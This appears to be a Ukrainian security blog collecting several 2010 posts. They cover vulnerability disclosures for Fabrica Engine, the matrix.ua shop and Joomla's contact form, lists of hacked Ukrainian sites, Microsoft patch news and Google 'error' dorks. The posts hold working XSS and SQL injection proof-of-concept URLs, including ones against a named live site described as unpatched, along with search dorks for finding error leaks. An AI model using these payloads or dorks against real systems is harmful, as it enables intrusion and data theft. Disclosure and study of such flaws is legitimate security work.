Websecurity - Веб безпека

В 2008 та 2009 роках я знайшов Cross-Site Scripting, Denial of Service та SQL Injection уразливості в Fabrica Engine. Це комерційний движок для онлайн-магазинів. Дані уразливості я виявив на сайті matrix.ua. Про що найближчим часом повідомлю розробникам.

XSS:

http://site/search/?keyword=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/search/?pmin=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/search/?pmax=%3Cscript%3Ealert(document.cookie)%3C/script%3E

DoS:

http://site/search/?keyword=

SQL Injection:

http://site/search/?pmin=1%20and%20version()=5%20limit%201/*&keyword=1
http://site/search/?pmax=1%20and%20version()=5%20limit%201/*&keyword=1

Уразливі Fabrica Engine 2.1 та попередні версії.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://beatlesinmylife.org.ua - інфекція була виявлена 14.10.2010. Зараз сайт не входить до переліку підозрілих.
• http://harvest-ind.com.ua - інфекція була виявлена 02.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 7 разів протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://cluboz.net - інфекція була виявлена 26.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт входить до переліку підозрілих.
• http://askei.kiev.ua - інфекція була виявлена 29.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 1 раз протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://mns.gov.ua - інфікований державний сайт - інфекція була виявлена 09.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.

Як і у випадку з іншими веб сайтами, інфікований сайт mns.gov.ua також хостить в себе Укртелеком.

В листопаді місяці Microsoft випустила 3 патчі. Що значно менше ніж у жовтні.

У листопадевому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 3 бюлетені по безпеці. Що закривають 11 уразливостей в програмних продуктах компанії. В тому числі один патч виправляє 5 критичних уразливостей, які дозволяють виконати довільний шкідливий код на віддаленому комп’ютері.

Дані патчі стосуються таких продуктів компанії як додатки Microsoft Office та Microsoft Forefront Unified Access Gateway.

В даній добірці уразливості в веб додатках:

• Motorola Milestone Smartphone Denial of Service (деталі)
• XSS vulnerability in Onyx (деталі)
• SQL injection vulnerability in SyntaxCMS (деталі)
• Cross-Site Scriting on Portwise SSL VPN v4.6 (деталі)
• SQL injection vulnerability in SyntaxCMS (деталі)
• XSS vulnerability in Edit-X CMS (деталі)
• Multiple Vulnerabilities in Cisco ASA 5500 Series Adaptive Security Appliances (деталі)
• XSS vulnerability in i-Web Suite (деталі)
• SQL injection vulnerability in i-Web Suite (деталі)
• New polipo packages fix denial of service (деталі)

Пропоную вашій увазі добірку цікавих новин на тему безпеки.

За повідомленням hackzona.com.ua, новий варіант хробака Zeus заражає тільки “швидкі” комп’ютери.

Фахівці антивірусної компанії F-Secure повідомили про виявлення екзотичного варіанта інтернет-хробака Zeus, який інфікує тільки “досить швидкі” комп’ютери, щоб потім включати їх до складу своєї бот-мережі для атак і розсилки спаму.

За повідомленням itua.info, програми Apple лідирують по числу уразливостей.

Програмне забезпечення “яблучної компанії” саме діряве - такі результати досліджень, проведених відомим розробником програмних засобів захисту даних Secunia.

За повідомленням hackzona.com.ua, через помилку розкриті дані користувачів Facebook.

У Facebook була виявлена уразливість, яка дозволила взломщикам отримати імена та фотографії всіх користувачів. Розкриття інформації про користувачів проводилося за адресами електронної пошти: знаючи адресу, атакуючі отримували ім’я і фотографію.

Це вже не перша уразливість на Facebook, що набула розголосу цього року. Безпека як даної соціальної мережі, так і соціальних мереж взагалі, залишає бажати кращого.

Після попереднього виявлення похаканих сайтів в моїх логах, приведу нову інформацію про взломані українських сайти. Що використовуються для атак (зокрема RFI атак) на інші сайти.

Похакані сайти в Уанеті:

• http://stalker.net.cn.ua (хакером Insiderz) - 24.11.2010

Файли, що використовуються для RFI атак:

http://stalker.net.cn.ua/settings/data/id.txt - файл вже видалений з сайта, але все ще є в кеші Гугла.

16.09.2010

У травні, 15.05.2010, я знайшов Insufficient Anti-automation та Abuse of Functionality уразливості в Joomla. Уразливості мають місце в компоненті com_contact, що є стандартним компонентом Joomla. Які я виявив на сайті www.school.gov.ua. Про що найближчим часом повідомлю розробникам.

Про подібні уразливості я писав в статті Розсилка спаму через сайти та створення спам-ботнетів.

Також раніше я вже писав про уразливості в DS-Syndicate для Joomla.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам системи.

27.11.2010

Insufficient Anti-automation:

http://site/contact/

На сторінці контактів немає захисту від автоматизованих запитів (капчі).

Abuse of Functionality:

http://site/contact/

Опція “E-mail a copy of this message to your own address.” на сторінці контактів дозволяє розсилати спам з сайта на довільні емайли. А з використанням Insufficient Anti-automation уразливості можна автоматизовано розсилати спам з сайта в великих обсягах.

Уразливі всі версії Joomla з даним функціоналом (Joomla! 1.5.22 та попередні версії).

Розробники Joomla відмовилися виправляти дані уразливості в своїй системі.

Виявлена можливість виконання довільного коду в Google Chrome.

Уразливі версії: Google Chrome 6.x.

Уразливість дозволяє віддаленому зловмиснику виконати довільний код на цільовій системі. Уразливість існує через помилку у використанні уразливої версії Flash плагіна. Нападник може заманити користувача на спеціально створений сайт, що приведе до виконання довільного коду.

• Выполнение произвольного кода в Google Chrome (деталі)

Окрім “Warning” Google хакінга існують інші види запитів, по яким можна шукати дірки на веб сайтах. Зокрема “Error” Google хакінг, про який я вже давно запланував написати. Це ще один різновид Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information leakage уразливості на різноманітних сайтах в Інтернеті.

Зокрема можна використовувати наступні “еррор” пошукові запити:

“Software error” “htdocs”

“Software error” “home”

“Software error” “www”

“Software error” “program files”

“Software error” “apache”

“MySQL Fatal Error”

“MySQL Error”

“You have an error in your SQL syntax”

“Application error” “SQL syntax”

“Application error” “htdocs”

06.04.2010

У вересні, 22.09.2009, я знайшов SQL Injection уразливості на проекті http://matrix.ua (інтернет магазин). Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на citycom.ua. Також раніше я вже писав про уразливості на matrix.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

26.11.2010

SQL Injection:

http://matrix.ua/search/?pmin=1%20and%20version()=5%20limit%201/*&keyword=1

http://matrix.ua/search/?pmax=1%20and%20version()=5%20limit%201/*&keyword=1

Дані уразливості досі не виправлені.